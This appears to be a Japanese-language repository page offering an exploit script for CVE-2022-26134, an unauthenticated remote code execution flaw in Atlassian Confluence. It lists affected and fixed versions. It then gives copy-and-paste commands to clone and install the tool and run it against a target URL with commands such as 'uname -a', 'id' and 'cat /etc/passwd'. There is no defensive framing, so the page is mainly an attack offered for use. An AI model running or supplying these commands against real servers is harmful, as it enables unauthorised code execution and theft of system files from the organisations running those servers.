nxtexploit/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - 未認証のリモートコード実行 (RCE)
| 概要 | CVE-2022-26134 - 重要度が重大な未認証のリモートコード実行の脆弱性 Confluence Server および Data Center における |
|---|
| 影響を受ける製品 | Confluence Confluence Server Confluence Data Center |
| 影響を受けるバージョン | Confluence Server および Data Center のサポート対象バージョンすべてが影響を受けます。 バージョン 1.3.0 以降の Confluence Server および Data Center が影響を受けます。 |
| 修正済みバージョン | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
ターミナルにコピー＆ペーストしてください：
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
